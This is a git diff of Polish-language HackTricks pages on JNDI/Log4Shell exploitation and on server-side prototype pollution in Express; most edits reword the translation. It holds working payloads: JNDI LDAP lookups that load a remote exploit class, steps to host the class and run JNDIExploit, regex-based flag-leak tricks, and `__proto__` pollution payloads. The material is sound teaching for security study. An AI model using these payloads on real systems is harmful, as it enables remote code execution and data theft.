#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skomprymowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -124,7 +101,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,20 +9,12 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
JNDI, zintegrowane z Javą od końca lat 90-tych, służy jako usługa katalogowa, umożliwiając programom Java lokalizowanie danych lub obiektów za pomocą systemu nazw. Obsługuje różne usługi katalogowe za pośrednictwem interfejsów dostawców usług (SPI), umożliwiając pobieranie danych z różnych systemów, w tym zdalnych obiektów Java. Powszechne SPI to CORBA COS, Java RMI Registry i LDAP.
|
||||
|
@ -37,7 +29,7 @@ Obiekty Java mogą być przechowywane i pobierane za pomocą Odniesień do nazw
|
|||
Jednak ten mechanizm może być wykorzystywany, co może prowadzić do ładowania i wykonywania dowolnego kodu. Jako środek zaradczy:
|
||||
|
||||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` domyślnie od JDK 7u21, ograniczając ładowanie zdalnych obiektów. Menedżer bezpieczeństwa dodatkowo ogranicza to, co może być ładowane.
|
||||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` domyślnie od JDK 6u141, 7u131, 8u121, blokując wykonywanie zdalnie ładowanych obiektów Java. Jeśli ustawione na `true`, możliwe jest wykonanie zdalnego kodu bez nadzoru Menedżera bezpieczeństwa.
|
||||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` domyślnie od JDK 6u141, 7u131, 8u121, blokując wykonywanie zdalnie ładowanych obiektów Java. Jeśli ustawione na `true`, możliwe jest zdalne wykonanie kodu bez nadzoru Menedżera bezpieczeństwa.
|
||||
* **CORBA**: Nie ma konkretnej właściwości, ale Menedżer bezpieczeństwa jest zawsze aktywny.
|
||||
|
||||
Jednak **Menedżer nazw**, odpowiedzialny za rozwiązywanie linków JNDI, nie ma wbudowanych mechanizmów zabezpieczających, co może pozwolić na pobieranie obiektów z dowolnego źródła. Stanowi to ryzyko, ponieważ zabezpieczenia RMI, LDAP i CORBA mogą być omijane, co prowadzi do ładowania dowolnych obiektów Java lub wykorzystywania istniejących komponentów aplikacji (gadżetów) do uruchamiania złośliwego kodu.
|
||||
|
@ -48,7 +40,7 @@ Przykłady podatnych adresów URL to:
|
|||
* _ldap://attacker-server/bar_
|
||||
* _iiop://attacker-server/bar_
|
||||
|
||||
Pomimo zabezpieczeń, luki w zabezpieczeniach pozostają, głównie z powodu braku zabezpieczeń przed ładowaniem JNDI z nieufnych źródeł oraz możliwości ominięcia istniejących zabezpieczeń.
|
||||
Pomimo zabezpieczeń, luki pozostają, głównie z powodu braku zabezpieczeń przed ładowaniem JNDI z nieufnych źródeł oraz możliwości ominięcia istniejących zabezpieczeń.
|
||||
|
||||
### Przykład JNDI
|
||||
|
||||
|
@ -63,10 +55,10 @@ CORBA (Common Object Request Broker Architecture) wykorzystuje **Interoperable O
|
|||
* **ID typu**: Unikalny identyfikator dla interfejsu.
|
||||
* **Codebase**: URL do uzyskania klasy stub.
|
||||
|
||||
Warto zauważyć, że CORBA nie jest z natury podatna na ataki. Zapewnienie bezpieczeństwa zazwyczaj obejmuje:
|
||||
Warto zauważyć, że CORBA nie jest z natury podatna. Zapewnienie bezpieczeństwa zazwyczaj obejmuje:
|
||||
|
||||
* Instalację **Menedżera bezpieczeństwa**.
|
||||
* Konfigurację Menedżera bezpieczeństwa w celu zezwolenia na połączenia z potencjalnie złośliwymi bazami kodu. Można to osiągnąć poprzez:
|
||||
* Konfigurację Menedżera bezpieczeństwa, aby zezwolić na połączenia z potencjalnie złośliwymi bazami kodu. Można to osiągnąć poprzez:
|
||||
* Uprawnienia do gniazd, np. `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||||
* Uprawnienia do odczytu plików, albo uniwersalnie (`permission java.io.FilePermission "<<ALL FILES>>", "read";`), albo dla konkretnych katalogów, w których mogą być umieszczone złośliwe pliki.
|
||||
|
||||
|
@ -74,37 +66,37 @@ Jednak niektóre polityki dostawców mogą być pobłażliwe i domyślnie zezwal
|
|||
|
||||
### Kontekst RMI
|
||||
|
||||
W przypadku RMI (Remote Method Invocation) sytuacja jest nieco inna. Podobnie jak w przypadku CORBA, pobieranie dowolnych klas jest domyślnie ograniczone. Aby wykorzystać RMI, zazwyczaj trzeba by obejść Menedżera bezpieczeństwa, co jest również istotne w CORBA.
|
||||
W przypadku RMI (Remote Method Invocation) sytuacja jest nieco inna. Podobnie jak w przypadku CORBA, domyślnie ograniczone jest pobieranie dowolnych klas. Aby wykorzystać RMI, zazwyczaj trzeba by obejść Menedżera bezpieczeństwa, co jest również istotne w CORBA.
|
||||
|
||||
### LDAP
|
||||
|
||||
Przede wszystkim musimy rozróżnić między Wyszukiwaniem a Wyszukiwaniem.\
|
||||
Przede wszystkim musimy odróżnić wyszukiwanie od wyszukiwania.\
|
||||
**Wyszukiwanie** użyje URL, takiego jak `ldap://localhost:389/o=JNDITutorial`, aby znaleźć obiekt JNDITutorial z serwera LDAP i **pobrać jego atrybuty**.\
|
||||
**Wyszukiwanie** jest przeznaczone do **usług nazw**, ponieważ chcemy uzyskać **wszystko, co jest powiązane z nazwą**.
|
||||
|
||||
Jeśli wyszukiwanie LDAP zostało wywołane z **SearchControls.setReturningObjFlag() z `true`, to zwrócony obiekt zostanie zrekonstruowany**.
|
||||
|
||||
Dlatego istnieje kilka sposobów ataku na te opcje.\
|
||||
**Napastnik może zanieczyścić rekordy LDAP, wprowadzając ładunki** na nich, które będą wykonywane w systemach, które je zbierają (bardzo przydatne do **kompromitacji dziesiątek maszyn**, jeśli masz dostęp do serwera LDAP). Innym sposobem na wykorzystanie tego byłoby przeprowadzenie **ataku MitM w wyszukiwaniu LDAP**, na przykład.
|
||||
**Napastnik może zanieczyścić rekordy LDAP, wprowadzając ładunki** na nich, które będą wykonywane w systemach, które je zbierają (bardzo przydatne do **kompromitacji dziesiątek maszyn**, jeśli masz dostęp do serwera LDAP). Innym sposobem wykorzystania tego byłoby przeprowadzenie **ataku MitM w wyszukiwaniu LDAP**, na przykład.
|
||||
|
||||
W przypadku, gdy możesz **sprawić, aby aplikacja rozwiązała URL JNDI LDAP**, możesz kontrolować LDAP, który będzie przeszukiwany, i możesz odesłać exploit (log4shell).
|
||||
|
||||
#### Exploit deserializacji
|
||||
#### Wykorzystanie deserializacji
|
||||
|
||||
![](<../../.gitbook/assets/image (275).png>)
|
||||
|
||||
**Exploit jest serializowany** i będzie deserializowany.\
|
||||
**Eksploit jest serializowany** i będzie deserializowany.\
|
||||
W przypadku, gdy `trustURLCodebase` jest `true`, napastnik może dostarczyć swoje własne klasy w bazie kodu, jeśli nie, będzie musiał wykorzystać gadżety w classpath.
|
||||
|
||||
#### Exploit odniesienia JNDI
|
||||
#### Wykorzystanie odniesienia JNDI
|
||||
|
||||
Łatwiej jest zaatakować ten LDAP, używając **odniesień JavaFactory**:
|
||||
|
||||
![](<../../.gitbook/assets/image (1059).png>)
|
||||
|
||||
## Luka w Log4Shell
|
||||
## Luka Log4Shell
|
||||
|
||||
Luka została wprowadzona w Log4j, ponieważ obsługuje [**specjalną składnię**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) w formie `${prefix:name}`, gdzie `prefix` jest jednym z wielu różnych [**Wyszukiwań**](https://logging.apache.org/log4j/2.x/manual/lookups.html), które powinny być oceniane. Na przykład, `${java:version}` to aktualnie działająca wersja Javy.
|
||||
Luka została wprowadzona w Log4j, ponieważ obsługuje [**specjalną składnię**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) w formie `${prefix:name}`, gdzie `prefix` jest jednym z wielu różnych [**Wyszukiwań**](https://logging.apache.org/log4j/2.x/manual/lookups.html), które powinny być oceniane. Na przykład, `${java:version}` to aktualnie uruchomiona wersja Javy.
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) wprowadziło funkcję Wyszukiwania `jndi`. Ta funkcja umożliwia pobieranie zmiennych przez JNDI. Zazwyczaj klucz jest automatycznie poprzedzany `java:comp/env/`. Jednak jeśli sam klucz zawiera **":"**, ten domyślny prefiks nie jest stosowany.
|
||||
|
||||
|
@ -116,21 +108,21 @@ Dlatego jedyną rzeczą potrzebną do uzyskania RCE jest **podatna wersja Log4j
|
|||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Krytyczne]**
|
||||
|
||||
Ta luka jest krytyczną **wadą nieufnej deserializacji** w komponencie `log4j-core`, wpływającą na wersje od 2.0-beta9 do 2.14.1. Umożliwia **zdalne wykonanie kodu (RCE)**, umożliwiając napastnikom przejęcie systemów. Problem został zgłoszony przez Chena Zhaojuna z zespołu bezpieczeństwa Alibaba Cloud i wpływa na różne frameworki Apache. Początkowa poprawka w wersji 2.15.0 była niekompletna. Zasady Sigma dla obrony są dostępne ([Reguła 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Reguła 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
Ta luka jest krytyczną **wadą nieufnej deserializacji** w komponencie `log4j-core`, wpływającą na wersje od 2.0-beta9 do 2.14.1. Umożliwia **zdalne wykonanie kodu (RCE)**, umożliwiając napastnikom przejęcie systemów. Problem został zgłoszony przez Chena Zhaojuna z zespołu bezpieczeństwa Alibaba Cloud i wpływa na różne frameworki Apache. Początkowa poprawka w wersji 2.15.0 była niekompletna. Zasady Sigma dla obrony są dostępne ([Zasada 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Zasada 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Krytyczne]**
|
||||
|
||||
Początkowo oceniana jako niska, ale później podniesiona do krytycznej, ta CVE jest **wadą Denial of Service (DoS)** wynikającą z niekompletnej poprawki w 2.15.0 dla CVE-2021-44228. Dotyczy to konfiguracji nie domyślnych, umożliwiając napastnikom powodowanie ataków DoS za pomocą stworzonych ładunków. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) pokazuje metodę obejścia. Problem został rozwiązany w wersjach 2.16.0 i 2.12.2 poprzez usunięcie wzorców wyszukiwania wiadomości i domyślne wyłączenie JNDI.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Wysokie]**
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Wysoka]**
|
||||
|
||||
Dotyczy **wersji Log4j 1.x** w konfiguracjach nie domyślnych używających `JMSAppender`, ta CVE jest wadą nieufnej deserializacji. Nie ma dostępnej poprawki dla gałęzi 1.x, która jest już nieaktualna, a zaleca się aktualizację do `log4j-core 2.17.0`.
|
||||
Dotyczy **wersji Log4j 1.x** w konfiguracjach nie domyślnych używających `JMSAppender`, ta CVE jest wadą nieufnej deserializacji. Nie ma dostępnej poprawki dla gałęzi 1.x, która jest zakończona, a zaleca się aktualizację do `log4j-core 2.17.0`.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Umiarkowane]**
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Umiarkowana]**
|
||||
|
||||
Ta luka dotyczy **frameworka logowania Logback**, następcy Log4j 1.x. Wcześniej uważany za bezpieczny, framework okazał się podatny, a nowsze wersje (1.3.0-alpha11 i 1.2.9) zostały wydane w celu rozwiązania problemu.
|
||||
|
||||
### **CVE-2021-45105** **\[Wysokie]**
|
||||
### **CVE-2021-45105** **\[Wysoka]**
|
||||
|
||||
Log4j 2.16.0 zawiera wadę DoS, co skłoniło do wydania `log4j 2.17.0` w celu naprawy CVE. Dalsze szczegóły znajdują się w raporcie BleepingComputer [tutaj](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
|
||||
|
@ -227,7 +219,7 @@ Any other env variable name that could store sensitive information
|
|||
### RCE Information
|
||||
|
||||
{% hint style="info" %}
|
||||
Hosty działające na wersjach JDK powyżej 6u141, 7u131 lub 8u121 są zabezpieczone przed wektorem ataku ładowania klas LDAP. Wynika to z domyślnej dezaktywacji `com.sun.jndi.ldap.object.trustURLCodebase`, która zapobiega ładowaniu zdalnej bazy kodu przez JNDI za pośrednictwem LDAP. Jednak ważne jest, aby zauważyć, że te wersje **nie są chronione przed wektorem ataku deserializacji**.
|
||||
Hosty działające na wersjach JDK powyżej 6u141, 7u131 lub 8u121 są zabezpieczone przed wektorem ataku ładowania klas LDAP. Wynika to z domyślnej dezaktywacji `com.sun.jndi.ldap.object.trustURLCodebase`, która zapobiega ładowaniu zdalnej bazy kodu przez JNDI za pośrednictwem LDAP. Należy jednak zauważyć, że te wersje **nie są chronione przed wektorem ataku deserializacji**.
|
||||
|
||||
Dla atakujących, którzy chcą wykorzystać te wyższe wersje JDK, konieczne jest wykorzystanie **zaufanego gadżetu** w aplikacji Java. Narzędzia takie jak ysoserial lub JNDIExploit są często używane w tym celu. Z drugiej strony, wykorzystanie niższych wersji JDK jest stosunkowo łatwiejsze, ponieważ te wersje można manipulować, aby ładować i wykonywać dowolne klasy.
|
||||
|
||||
|
@ -256,7 +248,7 @@ e.printStackTrace();
|
|||
```
|
||||
Skompiluj plik Java do pliku klasowego za pomocą: `javac Exploit.java -source 8 -target 8`. Następnie uruchom **serwer HTTP** w katalogu zawierającym plik klasowy za pomocą: `python3 -m http.server`. Upewnij się, że **serwer LDAP marshalsec** odnosi się do tego serwera HTTP.
|
||||
|
||||
Wywołaj wykonanie klasy exploit na podatnym serwerze WWW, wysyłając ładunek przypominający:
|
||||
Wywołaj wykonanie klasy exploitu na podatnym serwerze WWW, wysyłając ładunek przypominający:
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
|
@ -272,7 +264,7 @@ Ponadto, nie możesz znaleźć kodu źródłowego w wayback machine, więc albo
|
|||
|
||||
W tym przykładzie możesz po prostu uruchomić ten **vulnerable web server to log4shell** na porcie 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_w README znajdziesz, jak to uruchomić_). Ta podatna aplikacja rejestruje z podatną wersją log4shell zawartość nagłówka żądania HTTP _X-Api-Version_.
|
||||
|
||||
Następnie możesz pobrać plik jar **JNDIExploit** i wykonać go za pomocą:
|
||||
Następnie możesz pobrać plik jar **JNDIExploit** i uruchomić go za pomocą:
|
||||
```bash
|
||||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||||
unzip JNDIExploit.v1.2.zip
|
||||
|
@ -360,8 +352,8 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
|
||||
### Laboratoria do testowania
|
||||
|
||||
* [**LogForge HTB maszyna**](https://app.hackthebox.com/tracks/UHC-track)
|
||||
* [**Try Hack Me Solar pokój**](https://tryhackme.com/room/solar)
|
||||
* [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
|
||||
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
|
||||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||||
|
||||
|
@ -375,7 +367,7 @@ Strona [**bezpieczeństwa**](https://logging.apache.org/log4j/2.x/security.html)
|
|||
|
||||
> Od wersji 2.17.0 (oraz 2.12.3 i 2.3.1 dla Java 7 i Java 6), **tylko ciągi wyszukiwania w konfiguracji są rozwijane rekurencyjnie**; w każdym innym użyciu, tylko wyszukiwanie na najwyższym poziomie jest rozwiązywane, a wszelkie zagnieżdżone wyszukiwania nie są rozwiązywane.
|
||||
|
||||
Oznacza to, że domyślnie możesz **zapomnieć o używaniu jakiejkolwiek exploita `jndi`**. Co więcej, aby przeprowadzić **rekurencyjne wyszukiwania**, musisz je skonfigurować.
|
||||
Oznacza to, że domyślnie możesz **zapomnieć o używaniu jakiejkolwiek exploita `jndi`**. Co więcej, aby wykonać **rekurencyjne wyszukiwania**, musisz je skonfigurować.
|
||||
|
||||
Na przykład, w tym CTF było to skonfigurowane w pliku log4j2.xml:
|
||||
```xml
|
||||
|
@ -387,7 +379,7 @@ Na przykład, w tym CTF było to skonfigurowane w pliku log4j2.xml:
|
|||
### Env Lookups
|
||||
|
||||
W [tym CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) atakujący kontrolował wartość `${sys:cmd}` i musiał wyekstrahować flagę z zmiennej środowiskowej.\
|
||||
Jak widać na tej stronie w [**poprzednich ładunkach**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), istnieje kilka sposobów dostępu do zmiennych środowiskowych, takich jak: **`${env:FLAG}`**. W tym CTF to było bezużyteczne, ale może nie być w innych rzeczywistych scenariuszach.
|
||||
Jak widać na tej stronie w [**poprzednich ładunkach**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), istnieje kilka sposobów dostępu do zmiennych środowiskowych, takich jak: **`${env:FLAG}`**. W tym CTF było to bezużyteczne, ale może nie być w innych rzeczywistych scenariuszach.
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
|
@ -397,7 +389,7 @@ W CTF **nie mogłeś uzyskać dostępu do stderr** aplikacji java używającej l
|
|||
|
||||
### Conversion Patterns Exceptions
|
||||
|
||||
Tylko aby to wspomnieć, można również wstrzyknąć nowe [**wzorce konwersji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) i wywołać wyjątki, które będą rejestrowane w `stdout`. Na przykład:
|
||||
Warto to wspomnieć, można również wstrzyknąć nowe [**wzorce konwersji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) i wywołać wyjątki, które będą rejestrowane w `stdout`. Na przykład:
|
||||
|
||||
![](<../../.gitbook/assets/image (683).png>)
|
||||
|
||||
|
@ -409,8 +401,8 @@ Jednak możliwe jest użycie niektórych **wzorców konwersji, które obsługuj
|
|||
|
||||
* **Wyszukiwanie binarne za pomocą komunikatów o wyjątkach**
|
||||
|
||||
Wzorzec konwersji **`%replace`** może być użyty do **zamiany** **treści** w **ciągu** nawet przy użyciu **regexów**. Działa to w ten sposób: `replace{pattern}{regex}{substitution}`\
|
||||
Nadużywając tego zachowania, można sprawić, że zamiana **wywoła wyjątek, jeśli regex dopasuje** cokolwiek w ciągu (i brak wyjątku, jeśli nie zostanie znalezione) w ten sposób:
|
||||
Wzorzec konwersji **`%replace`** może być użyty do **zamiany** **treści** z **łańcucha** nawet przy użyciu **regexów**. Działa to w ten sposób: `replace{pattern}{regex}{substitution}`\
|
||||
Nadużywając tego zachowania, można sprawić, że zamiana **wywoła wyjątek, jeśli regex dopasuje** cokolwiek wewnątrz łańcucha (i brak wyjątku, jeśli nie zostanie znalezione) w ten sposób:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
@ -421,7 +413,7 @@ Nadużywając tego zachowania, można sprawić, że zamiana **wywoła wyjątek,
|
|||
Jak wspomniano w poprzedniej sekcji, **`%replace`** obsługuje **regexy**. Możliwe jest więc użycie ładunku z [**strony ReDoS**](../regular-expression-denial-of-service-redos.md), aby spowodować **przekroczenie czasu** w przypadku znalezienia flagi.\
|
||||
Na przykład ładunek taki jak `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` spowodowałby **przekroczenie czasu** w tym CTF.
|
||||
|
||||
W tym [**opisie**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), zamiast używać ataku ReDoS, użyto **ataku amplifikacyjnego**, aby spowodować różnicę czasową w odpowiedzi:
|
||||
W tym [**opisie**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) zamiast używać ataku ReDoS, użyto **ataku amplifikacyjnego**, aby spowodować różnicę czasową w odpowiedzi:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
|
@ -445,7 +437,7 @@ W tym [**opisie**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4
|
|||
>
|
||||
> Zastąpienie tak wielu `#`-ów spowoduje wywołanie 10-sekundowego limitu czasu aplikacji Flask, co z kolei skutkuje wysłaniem kodu statusu HTTP 500 do użytkownika. (Jeśli flaga nie zaczyna się od `flagGuess`, otrzymamy kod statusu inny niż 500)
|
||||
|
||||
## Odniesienia
|
||||
## Odnośniki
|
||||
|
||||
* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
|
||||
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
|
||||
|
@ -456,11 +448,6 @@ W tym [**opisie**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -468,7 +455,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -10,32 +10,18 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **ciemną siecią**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Serwuj odpowiedzi XSS
|
||||
|
||||
**Aby uzyskać więcej szczegółów** [**zobacz oryginalne badania**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### Zmień typ zawartości JSON na HTML
|
||||
|
||||
W aplikacji Express używającej **odpowiedzi typu JSON** i odzwierciedlającej JSON:
|
||||
W aplikacji Express używającej **odpowiedzi z typem zawartości JSON** i odzwierciedlającej JSON:
|
||||
```javascript
|
||||
app.use(bodyParser.json({type: 'application/json'}));
|
||||
app.post('/', function(req, res){
|
||||
|
@ -59,7 +45,7 @@ Możliwe jest, aby express **renderował zawartość UTF-7 za pomocą**:
|
|||
|
||||
### Przestrzenie JSON
|
||||
|
||||
Poniższe PP spowoduje, że atrybuty wewnątrz JSON będą miały dodatkową przestrzeń, co nie wpłynie na funkcjonalność:
|
||||
Następujące PP spowoduje, że atrybuty wewnątrz JSON będą miały dodatkową przestrzeń, co nie wpłynie na funkcjonalność:
|
||||
```json
|
||||
{"__proto__":{"json spaces": " "}}
|
||||
```
|
||||
|
@ -115,27 +101,16 @@ Ponadto, w scenariuszach, w których używana jest biblioteka taka jak Lodash, u
|
|||
### Allow Dots
|
||||
|
||||
Istnieje opcja w Express, która pozwala na **tworzenie obiektów z parametrów ciągu zapytania**.\
|
||||
Możesz to zdecydowanie wykorzystać w łańcuchu **błędów**, aby wykorzystać **vulnerabilność zanieczyszczenia prototypu**.
|
||||
Możesz to zdecydowanie wykorzystać w łańcuchu **błędów**, aby wykorzystać **wrażliwość na zanieczyszczenie prototypu**.
|
||||
```json
|
||||
{"__proto__":{"allowDots":true}}
|
||||
```
|
||||
**`?foo.bar=baz` tworzy obiekt w Node.**
|
||||
|
||||
## Referencje
|
||||
## References
|
||||
|
||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
